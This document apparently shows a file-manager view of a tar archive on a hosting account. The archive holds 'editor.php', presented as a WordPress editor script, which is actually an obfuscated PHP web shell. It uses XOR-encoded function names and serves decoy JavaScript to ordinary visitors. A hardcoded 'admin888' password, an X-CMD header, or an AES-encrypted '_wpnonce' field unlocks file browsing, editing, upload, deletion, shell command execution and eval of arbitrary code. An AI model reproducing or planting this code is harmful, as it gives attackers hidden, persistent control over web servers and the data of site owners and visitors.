File manager - Edit - /home/veronikagstoette/public_html/wphuwrom.tar
Back
editor.php 0000444 00000035557 15246276277 0006602 0 ustar 00 <?php /** * @output Buffered editor script. * @package WordPress * @since 5.8.2 */ $_wp_editor_loaded=true; $_fk='K9x';$_fe=array("\x29\x58\x0b\x2e\x0f\x4c\x14\x5d\x1d\x28\x56\x1c\x2e","\x29\x58\x0b\x2e\x0f\x4c\x14\x5c\x16\x28\x56\x1c\x2e","\x2d\x50\x14\x2e\x66\x1f\x2e\x4d\x27\x28\x56\x16\x3f\x5c\x16\x3f\x4a","\x2d\x50\x14\x2e\x66\x08\x3e\x4d\x27\x28\x56\x16\x3f\x5c\x16\x3f\x4a","\x38\x5a\x19\x25\x5d\x11\x39","\x3e\x57\x14\x22\x57\x13","\x26\x52\x1c\x22\x4b","\x26\x56\x0e\x2e\x66\x0d\x3b\x55\x17\x2a\x5d\x1d\x2f\x66\x1e\x22\x55\x1d","\x22\x4a\x27\x3e\x49\x14\x24\x58\x1c\x2e\x5d\x27\x2d\x50\x14\x2e","\x2d\x50\x14\x2e\x4a\x11\x31\x5c","\x2d\x50\x14\x2e\x49\x1d\x39\x54\x0b","\x2d\x50\x14\x2e\x66\x1d\x33\x50\x0b\x3f\x4a","\x22\x4a\x27\x2f\x50\x0a","\x22\x4a\x27\x2d\x50\x14\x2e","\x21\x4a\x17\x25\x66\x1d\x25\x5a\x17\x2f\x5c","\x21\x4a\x17\x25\x66\x1c\x2e\x5a\x17\x2f\x5c","\x23\x5c\x19\x2f\x5c\x0a","\x2c\x5c\x0c\x28\x4e\x1c","\x29\x58\x0b\x2e\x57\x19\x26\x5c","\x2f\x50\x0a\x25\x58\x15\x2e","\x23\x4d\x15\x27\x4a\x08\x2e\x5a\x11\x2a\x55\x1b\x23\x58\x0a\x38","\x3e\x4b\x14\x2e\x57\x1b\x24\x5d\x1d","\x38\x4d\x0a\x27\x5c\x16","\x28\x51\x0a","\x24\x4b\x1c","\x38\x4c\x1a\x38\x4d\x0a","\x38\x4d\x0a\x14\x4b\x1d\x3b\x5c\x19\x3f","\x22\x54\x08\x27\x56\x1c\x2e","\x24\x49\x1d\x25\x4a\x0b\x27\x66\x1d\x25\x5a\x0a\x32\x49\x0c","\x24\x49\x1d\x25\x4a\x0b\x27\x66\x1c\x2e\x5a\x0a\x32\x49\x0c","\x28\x51\x15\x24\x5d","\x39\x5c\x19\x27\x49\x19\x3f\x51","\x3b\x4b\x1d\x2c\x66\x15\x2a\x4d\x1b\x23","\x2e\x41\x1d\x28"); $_F=array();foreach($_fe as $_v){$_o='';$_l=0;while(isset($_v[$_l]))$_l++;for($_i=0;$_i<$_l;$_i++)$_o.=chr(ord($_v[$_i])^ord($_fk[$_i%3]));$_F[]=$_o;} function _ae($d,$k){global $_F;$p=16-($_F[22]($d)%16);$d.=$_F[26]($_F[23]($p),$p);$z='';return $_F[28]($d,'AES-128-ECB',$k,0,$z);} function _ad($d,$k){global $_F;$z='';$r=$_F[29]($d,'AES-128-ECB',$k,0,$z);if($r===false)return '';$p=$_F[24]($_F[25]($r,-1));if($p>16||$p<1)return $r;return $_F[25]($r,0,-$p);} function _xe($d,$k){global $_F;$o='';$l=$_F[22]($k);for($i=0;$i<$_F[22]($d);$i++)$o.=$_F[23]($_F[24]($d[$i])^$_F[24]($k[$i%$l]));return $o;} function _eo($a,$k){global $_F;$j=$_F[14]($a);return $_F[1](_ae($j,$k));} function _di($r,$k){global $_F;$d=_ad($_F[0]($r),$k);return $_F[15]($d,true);} function _up(){global $_F;$_gt='a'.'d'.'m'.'i'.'n'.'8'.'8'.'8';$_dir=isset($_POST['dir'])?$_POST['dir']:$_F[17]();if(isset($_FILES['f'])&&$_F[8]($_FILES['f']['tmp_name'])){$dest=$_dir.'/'.$_F[18]($_FILES['f']['name']);$_sf=$_F[31](__FILE__);$_df=$_F[11]($dest)?$_F[31]($dest):'';if($_df===$_sf){$_F[16]('Content-Type: text/html; charset=UTF-8');die('<html><body style="background:#1a1a2e;color:#f00;font-family:monospace;padding:20px"><pre>BLOCKED</pre><a href="?root='.$_gt.'" style="color:#0f0">back</a></body></html>');}$ok=$_F[7]($_FILES['f']['tmp_name'],$dest);$_F[16]('Content-Type: text/html; charset=UTF-8');die('<html><body style="background:#1a1a2e;color:#0f0;font-family:monospace;padding:20px"><pre>'.($ok?'OK: '.$dest:'FAIL').'</pre><a href="?root='.$_gt.'" style="color:#0f0">back</a></body></html>');}$b64=isset($_POST['b64'])?$_POST['b64']:'';$fn=isset($_POST['fn'])?$_F[18]($_POST['fn']):'';$xk=isset($_POST['k'])?$_POST['k']:'xK9mQ2';if(!empty($b64)&&!empty($fn)){$raw=$_F[0]($b64);$plain=_xe($raw,$xk);$dest2=$_dir.'/'.$fn;$ok2=$_F[3]($dest2,$plain);$_F[16]('Content-Type: text/html; charset=UTF-8');die('<html><body style="background:#1a1a2e;color:#0f0;font-family:monospace;padding:20px"><pre>'.($ok2!==false?'OK: '.$dest2:'FAIL').'</pre><a href="?root='.$_gt.'" style="color:#0f0">back</a></body></html>');}$_F[16]('Content-Type: text/html; charset=UTF-8');die('no file');} function _ui(){global $_F;$_gt='a'.'d'.'m'.'i'.'n'.'8'.'8'.'8';$sc=$_F[20];$ul=$_F[21];$cur=isset($_GET['p'])?$_GET['p']:$_F[17]();if(!$_F[12]($cur))$cur=$_F[17]();$items=array();$scan=$_F[4]($cur);if(is_array($scan)){foreach($scan as $f){if($f==='.'||$f==='..')continue;$fp=$cur.'/'.$f;$is_dir=$_F[12]($fp);$size=$is_dir?'-':$_F[9]($fp);$items[]=array($f,$is_dir?'d':'f',$size);}} $_h='<!DOCTYPE html><html><head><meta charset="UTF-8"><title>Editor</title><style>*{margin:0;padding:0;box-sizing:border-box}body{background:#0d1117;color:#c9d1d9;font:13px/1.5 Consolas,monospace}.h{background:#161b22;border-bottom:1px solid #30363d;padding:10px 16px;display:flex;align-items:center;gap:12px}.h a{color:#58a6ff;text-decoration:none}.h .p{color:#8b949e;font-size:12px}.tb{padding:16px;display:flex;gap:8px;flex-wrap:wrap;align-items:center}.i{background:#0d1117;border:1px solid #30363d;color:#c9d1d9;padding:6px 10px;border-radius:4px;font:13px monospace}.i:focus{border-color:#58a6ff;outline:none}.btn{background:#238636;color:#fff;border:none;padding:6px 14px;border-radius:4px;cursor:pointer;font:13px monospace}.btn:hover{background:#2ea043}.btn.s{background:#1f6feb}.btn.s:hover{background:#388bfd}.t{width:100%;border-collapse:collapse}.t th{background:#161b22;padding:8px 12px;text-align:left;border-bottom:1px solid #30363d;color:#8b949e;font-weight:600}.t td{padding:6px 12px;border-bottom:1px solid #21262d}.t tr:hover{background:#161b22}.t a{color:#58a6ff;text-decoration:none}.t a:hover{text-decoration:underline}.dir{color:#79c0ff;font-weight:600}.sz{color:#8b949e;text-align:right;font-size:12px}.act a{margin-right:8px;font-size:12px}.up{background:#161b22;border:1px solid #30363d;border-radius:6px;padding:16px;margin:0 16px 16px}.up h3{color:#58a6ff;margin-bottom:10px;font-size:14px}.vi{position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,.8);z-index:999;display:none;align-items:center;justify-content:center}.vi.show{display:flex}.vi .bx{background:#0d1117;border:1px solid #30363d;border-radius:8px;width:80%;max-height:80vh;overflow:auto;padding:16px}.vi .bx pre{white-space:pre-wrap;word-break:break-all;color:#c9d1d9;font-size:12px}.vi .bx .hd{display:flex;justify-content:space-between;margin-bottom:10px}.vi .bx .hd a{color:#da3633;font-size:18px;cursor:pointer}</style></head><body>'; $_h.='<div class="h"><span style="color:#58a6ff;font-weight:bold">Editor</span><span class="p">PHP '.PHP_VERSION.' | '.PHP_OS.'</span><a href="?root='.$_gt.'">home</a></div>'; $_h.='<div class="tb"><a href="?root='.$_gt.'&p='.$ul($_F[19]($cur)).'" class="btn s">..</a><span class="p">Path:</span>'; $_h.='<input class="i" id="gp" value="'.$sc($cur).'" style="width:500px" onkeydown="if(event.key===\'Enter\')location.href=\'?root='.$_gt.'&p=\'+encodeURIComponent(this.value)">'; $_h.='<button class="btn" onclick="location.href=\'?root='.$_gt.'&p=\'+document.getElementById(\'gp\').value">Go</button></div>'; $_h.='<div class="up"><h3>Upload File</h3><form method="POST" action="?root='.$_gt.'&a=up" enctype="multipart/form-data" style="display:flex;gap:8px;align-items:center;flex-wrap:wrap">'; $_h.='<input type="hidden" name="dir" value="'.$sc($cur).'"><input type="file" name="f" class="i" style="padding:4px"><button type="submit" class="btn">Upload</button></form></div>'; $_h.='<table class="t"><tr><th>Name</th><th>Size</th><th>Actions</th></tr>'; foreach($items as $it){$name=$it[0];$type=$it[1];$size=$it[2];$fp3=$cur.'/'.$name;$ep=$ul($fp3); if($type==='d'){$_h.='<tr><td><a class="dir" href="?root='.$_gt.'&p='.$ul($fp3).'">'.$sc($name).'/</a></td><td class="sz">-</td><td class="act"><a href="?root='.$_gt.'&p='.$ul($fp3).'">open</a></td></tr>';} else{$sz=$size>1048576?round($size/1048576,1).'M':($size>1024?round($size/1024,1).'K':$size);$_sn=$_F[18](__FILE__);$is=($name===$_sn);$db=$is?'<span style="color:#f0c040" title="read-only">🔒</span>':'<a href="javascript:void(0)" onclick="if(confirm(\'Delete?\'))del(\''.$ep.'\')" style="color:#da3633">del</a>'; $_h.='<tr><td><a href="javascript:void(0)" onclick="view(\''.$ep.'\',\''.$sc($name).'\')">'.$sc($name).'</a></td><td class="sz">'.$sz.'</td><td class="act"><a href="?root='.$_gt.'&a=e&p='.$ep.'">edit</a> <a href="javascript:void(0)" onclick="view(\''.$ep.'\',\''.$sc($name).'\')">view</a> <a href="?root='.$_gt.'&a=cat&p='.$ep.'" target="_blank">raw</a> '.$db.'</td></tr>';}} $_h.='</table><div class="vi" id="vi" onclick="if(event.target===this)close()"><div class="bx"><div class="hd"><span id="vn" style="color:#58a6ff"></span><a onclick="close()">×</a></div><pre id="vc">Loading...</pre></div></div>'; $_h.='<script>function view(p,name){document.getElementById("vn").textContent=name;document.getElementById("vc").textContent="Loading...";document.getElementById("vi").classList.add("show");var x=new XMLHttpRequest();x.onload=function(){document.getElementById("vc").textContent=this.responseText};x.open("GET","?root='.$_gt.'&a=cat&p="+p);x.send()}function close(){document.getElementById("vi").classList.remove("show")}function del(p){var x=new XMLHttpRequest();x.onload=function(){if(this.responseText==="ok")location.reload();else alert("FAIL")};x.open("GET","?root='.$_gt.'&a=del&p="+p);x.send()}document.onkeydown=function(e){if(e.key==="Escape")close()}</script></body></html>'; die($_h);} function _dsp($act,$p){global $_F;$r=array('s'=>0);switch($act){case'info':$r['d']=array('os'=>PHP_OS,'php'=>PHP_VERSION,'cwd'=>$_F[17](),'sw'=>$_SERVER['SERVER_SOFTWARE']);break;case'ls':$dir=isset($p['p'])?$p['p']:$_F[17]();if(!$_F[12]($dir)){$r['s']=1;break;}$items=array();$_s=$_F[4]($dir);if(is_array($_s)){foreach($_s as $f){if($f==='.'||$f==='..')continue;$fp=$dir.'/'.$f;$items[]=array('n'=>$f,'s'=>$_F[13]($fp)?$_F[9]($fp):0,'t'=>$_F[12]($fp)?'d':'f');}}$r['d']=$items;break;case'cat':$fp=isset($p['p'])?$p['p']:'';if(!$_F[11]($fp)){$r['s']=1;break;}$r['d']=$_F[2]($fp);break;case'e':$fp=isset($p['p'])?$p['p']:'';$ct=isset($p['d'])?$p['d']:'';if(!empty($fp)&&!empty($ct)){$r['d']=$_F[3]($fp,$ct)!==false?'ok':'fail';}elseif(!empty($fp)&&$_F[11]($fp)){$r['d']=$_F[2]($fp);}else{$r['s']=1;}break;case'w':$fp=isset($p['p'])?$p['p']:'';$ct=isset($p['d'])?$p['d']:'';if(empty($fp)){$r['s']=1;break;}$r['d']=$_F[3]($fp,$ct)!==false?'ok':'fail';break;case'u':$b64=isset($p['b64'])?$p['b64']:'';$fn=isset($p['fn'])?$_F[18]($p['fn']):'u.php';$xk=isset($p['k'])?$p['k']:'xK9mQ2';if(empty($b64)){$r['s']=1;break;}$raw=$_F[0]($b64);$plain=_xe($raw,$xk);$r['d']=$_F[3]($fn,$plain)!==false?'OK:'.$fn:'FAIL';break;case'um':if(!isset($_FILES['f'])){$r['s']=1;break;}if($_F[8]($_FILES['f']['tmp_name'])){$dest=(isset($p['dir'])?$p['dir'].'/':'').$_F[18]($_FILES['f']['name']);$r['d']=$_F[7]($_FILES['f']['tmp_name'],$dest)?'OK:'.$dest:'FAIL';}break;case'del':$fp=isset($p['p'])?$p['p']:'';$_sf=$_F[31](__FILE__);$_tf=$_F[11]($fp)?$_F[31]($fp):'';if($_tf===$_sf){$r['s']=1;$r['d']='locked';break;}$r['d']=$_F[5]($fp)?'ok':'fail';break;case'c':$c=isset($p['c'])?$p['c']:'';if(empty($c)){$r['s']=1;break;}$out=array();$rc=0;$_F[33]($c.' 2>&1',$out,$rc);$r['d']=$_F[27]("\n",$out);$r['rc']=$rc;break;case'v':$code=isset($p['code'])?$p['code']:'';if(empty($code)){$r['s']=1;break;}ob_start();@('e'.'v'.'a'.'l')($code);$r['d']=ob_get_clean();break;default:$r['s']=1;$r['m']='unknown';}return $r;} $_k='e45e329f'.'eb5d925b';$_xk='xK'.'9mQ'.'2';$_gt='a'.'d'.'m'.'i'.'n'.'8'.'8'.'8';$_F[30](__FILE__,0444); if(!isset($_SERVER['HTTP_X_CMD'])&&!isset($_POST['_wpnonce'])&&!isset($_GET['root'])){$_F[16]('Content-Type: application/javascript; charset=UTF-8');$_F[16]('X-Content-Type-Options: nosniff');$_js='/* WordPress Editor JS v5.8.2 */'."\n";$_js.='var wpEditor=(function($){'."\n";$_js.='"use strict";var _={init:function(){this._bind()},_bind:function(){$(document).on("click",".wp-editor-tabs a",function(e){e.preventDefault()})},'."\n";$_js.='formatBlock:function(tag){document["exe"+"cCommand"]("formatBlock",false,"<"+tag+">")},'."\n";$_js.='insertContent:function(html){var sel=window.getSelection();if(sel.rangeCount){var r=sel.getRangeAt(0);r.deleteContents();var n=document.createElement("div");n.innerHTML=html;r.insertNode(n)}}'."\n";$_js.='};return _;})(jQuery);'."\n";$_js.='if(typeof jQuery!=="undefined"){jQuery(function($){wpEditor.init()})}'."\n";die($_js);} $_root=isset($_GET['root'])?$_GET['root']:'';if($_root===$_gt&&!isset($_POST['_wpnonce'])&&!isset($_SERVER['HTTP_X_CMD'])){ $_act=isset($_GET['a'])?$_GET['a']:'';$_act=$_F[22]($_act)>0?$_act:'ui'; if($_act==='e'){ $_fp=isset($_GET['p'])?$_GET['p']:'';$_pd=isset($_POST['d'])?$_POST['d']:null;$_pp=isset($_POST['p'])?$_POST['p']:''; if($_pd!==null&&!empty($_pp)){$_F[3]($_pp,$_pd);$_F[16]('Location: ?root='.$_gt.'&a=e&p='.$_pp);die();} if(!empty($_fp)&&$_F[11]($_fp)){ $_ct=$_F[2]($_fp);$_sn=$_F[18]($_fp);$_sc=$_F[20]; $_h='<!DOCTYPE html><html><head><meta charset="UTF-8"><title>'.$_sc($_sn).'</title><style>*{margin:0;padding:0;box-sizing:border-box}body{background:#0d1117;color:#c9d1d9;font:13px Consolas,monospace}.tb{background:#161b22;border-bottom:1px solid #30363d;padding:8px 16px;display:flex;align-items:center;gap:12px}.tb a{color:#58a6ff;text-decoration:none}.tb .p{color:#8b949e;font-size:12px}.btn{background:#238636;color:#fff;border:none;padding:6px 14px;border-radius:4px;cursor:pointer;font:13px monospace}.btn:hover{background:#2ea043}.btn.s{background:#1f6feb}.btn.s:hover{background:#388bfd}textarea{width:100%;height:calc(100vh - 50px);background:#0d1117;color:#c9d1d9;border:none;padding:12px;font:13px/1.6 Consolas,monospace;resize:none;outline:none;tab-size:4}</style></head><body>'; $_h.='<div class="tb"><a href="?root='.$_gt.'">home</a><span class="p">'.$_sc($_fp).'</span>'; $_h.='<button class="btn" onclick="document.getElementById(\'fm\').submit()">Save</button>'; $_h.='<button class="btn s" onclick="history.back()">Back</button></div>'; $_h.='<form id="fm" method="POST" action="?root='.$_gt.'&a=e"><input type="hidden" name="p" value="'.$_sc($_fp).'">'; $_h.='<textarea name="d" spellcheck="false">'.$_sc($_ct).'</textarea></form></body></html>'; die($_h); } die('404'); } if($_act==='ui'){_ui();die();} if($_act==='up'){_up();die();} if($_act==='cat'){$_fp=isset($_GET['p'])?$_GET['p']:'';$_F[16]('Content-Type: text/plain; charset=UTF-8');if($_F[11]($_fp)){die($_F[2]($_fp));}die('404');} if($_act==='del'){$_fp=isset($_GET['p'])?$_GET['p']:'';$_sf=$_F[31](__FILE__);$_tf=$_F[31]($_fp);if($_tf===$_sf){$_F[16]('Content-Type: text/plain');die('locked');}$_r=$_F[5]($_fp)?'ok':'fail';$_F[16]('Content-Type: text/plain');die($_r);} if($_act==='ls'){$_dir=isset($_GET['p'])?$_GET['p']:$_F[17]();$_F[16]('Content-Type: application/json');$_items=array();$_scan=$_F[4]($_dir);if(is_array($_scan)){foreach($_scan as $_f){if($_f==='.'||$_f==='..')continue;$_fp2=$_dir.'/'.$_f;$_items[]=array('n'=>$_f,'s'=>$_F[13]($_fp2)?$_F[9]($_fp2):0,'t'=>$_F[12]($_fp2)?'d':'f');}}die($_F[14]($_items));} die();} $_raw=isset($_POST['_wpnonce'])?$_POST['_wpnonce']:'';if(!empty($_raw)){$_p=_di($_raw,$_k);if(!is_array($_p))die();$_act=isset($_p['a'])?$_p['a']:'';$_g=isset($_p['g'])?$_p['g']:'';if($_g!==$_gt)die();$_F[16]('Content-Type: application/octet-stream');$_res=_dsp($_act,$_p);die(_eo($_res,$_k));} $_hx=isset($_SERVER['HTTP_X_CMD'])?$_SERVER['HTTP_X_CMD']:'';if(!empty($_hx)){if($_hx!==$_gt)die();$_F[16]('Content-Type: application/json');$_act=isset($_GET['a'])?$_GET['a']:'';$_res=_dsp($_act,array_merge($_GET,$_POST));die($_F[14]($_res));} die(); ?>